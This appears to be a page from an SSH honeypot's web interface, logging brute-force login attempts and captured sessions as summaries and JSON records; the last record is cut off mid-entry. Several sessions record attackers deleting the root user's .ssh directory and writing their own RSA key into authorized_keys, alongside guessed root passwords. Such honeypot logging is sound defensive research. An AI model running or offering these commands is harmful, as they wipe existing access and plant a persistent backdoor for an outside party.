nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 2270 / 12649 (632441 total records)
Passive Observation Node - Active Operational Overview
121.227.152.250
2026-09-20 02:46:52.426375 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: d2fcbba596ef
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.1s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "d2fcbba596ef",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:46:52.426375Z",
  "end_time": "2026-09-20T02:46:54.504537Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
121.227.152.250
2026-09-20 02:46:50.192811 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / xxx

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: b54c23403465
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 5.6s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "b54c23403465",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:46:50.192811Z",
  "end_time": "2026-09-20T02:46:55.820403Z",
  "duration": "5.6",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "xxx"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
20.96.179.87
2026-09-20 02:45:38.320678 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: a

Record ID: cc390a66d044
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "cc390a66d044",
  "src_ip": "20.96.179.87",
  "start_time": "2026-09-20T02:45:38.320678Z",
  "end_time": "2026-09-20T02:45:42.951921Z",
  "duration": "4.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "a",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
121.227.152.250
2026-09-20 02:45:31.545506 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: e93e09b43c76
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 1.3s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "e93e09b43c76",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:45:31.545506Z",
  "end_time": "2026-09-20T02:45:32.845812Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
121.227.152.250
2026-09-20 02:45:29.305763 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: c7b293ed2d9f
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.0s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "c7b293ed2d9f",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:45:29.305763Z",
  "end_time": "2026-09-20T02:45:31.301417Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
121.227.152.250
2026-09-20 02:45:25.932904 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123123@Aa

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 26c3d7c50745
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 6.9s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "26c3d7c50745",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:45:25.932904Z",
  "end_time": "2026-09-20T02:45:32.825162Z",
  "duration": "6.9",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123123@Aa"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
121.227.152.250
2026-09-20 02:44:06.918337 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: badcbd3759a5
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 1.7s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "badcbd3759a5",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:44:06.918337Z",
  "end_time": "2026-09-20T02:44:08.614109Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
121.227.152.250
2026-09-20 02:44:04.656783 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: ce5e25f7ca63
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.1s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "ce5e25f7ca63",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:44:04.656783Z",
  "end_time": "2026-09-20T02:44:06.732044Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
121.227.152.250
2026-09-20 02:44:01.983839 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Mr123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: b53b72ebc9e7
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 6.6s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "b53b72ebc9e7",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:44:01.983839Z",
  "end_time": "2026-09-20T02:44:08.594820Z",
  "duration": "6.6",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Mr123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
20.96.179.87
2026-09-20 02:42:41.103874 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 9d4d2a89cc31
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "9d4d2a89cc31",
  "src_ip": "20.96.179.87",
  "start_time": "2026-09-20T02:42:41.103874Z",
  "end_time": "2026-09-20T02:42:43.154347Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
20.96.179.87
2026-09-20 02:42:36.758726 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 7806dd654368
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "7806dd654368",
  "src_ip": "20.96.179.87",
  "start_time": "2026-09-20T02:42:36.758726Z",
  "end_time": "2026-09-20T02:42:41.044258Z",
  "duration": "4.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
121.227.152.250
2026-09-20 02:42:34.615169 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: alin

Record ID: a4bc97708f01
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.2s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "a4bc97708f01",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:42:34.615169Z",
  "end_time": "2026-09-20T02:42:36.786336Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "alin",
      "pass": "ALIN12alin"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
20.96.179.87
2026-09-20 02:42:29.479701 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / jordan

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 962ec58fd204
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 13.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "962ec58fd204",
  "src_ip": "20.96.179.87",
  "start_time": "2026-09-20T02:42:29.479701Z",
  "end_time": "2026-09-20T02:42:43.150500Z",
  "duration": "13.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "jordan"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
117.72.177.230
2026-09-20 02:41:53.839104 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d6cf887871fe
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1m 3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "d6cf887871fe",
  "src_ip": "117.72.177.230",
  "start_time": "2026-09-20T02:41:53.839104Z",
  "end_time": "2026-09-20T02:42:57.280210Z",
  "duration": "63.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.227.152.250
2026-09-20 02:41:05.742066 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rafael

Record ID: 66c30dc85448
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.1s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "66c30dc85448",
  "src_ip": "121.227.152.250",
  "start_time": "2026-09-20T02:41:05.742066Z",
  "end_time": "2026-09-20T02:41:07.808508Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "rafael",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
223.109.49.166
2026-09-20 02:38:43.281474 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0f9be765c295
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "0f9be765c295",
  "src_ip": "223.109.49.166",
  "start_time": "2026-09-20T02:38:43.281474Z",
  "end_time": "2026-09-20T02:40:43.305525Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
45.119.212.145
2026-09-20 02:38:24.117312 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 3496e1eea1ec
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "3496e1eea1ec",
  "src_ip": "45.119.212.145",
  "start_time": "2026-09-20T02:38:24.117312Z",
  "end_time": "2026-09-20T02:38:25.407005Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
45.119.212.145
2026-09-20 02:38:21.642177 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 51783f24e6c5
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.3s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "51783f24e6c5",
  "src_ip": "45.119.212.145",
  "start_time": "2026-09-20T02:38:21.642177Z",
  "end_time": "2026-09-20T02:38:23.912574Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
45.119.212.145
2026-09-20 02:38:18.678133 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Asd@123321

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: c5e5303bd1e0
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 6.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "c5e5303bd1e0",
  "src_ip": "45.119.212.145",
  "start_time": "2026-09-20T02:38:18.678133Z",
  "end_time": "2026-09-20T02:38:25.403926Z",
  "duration": "6.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
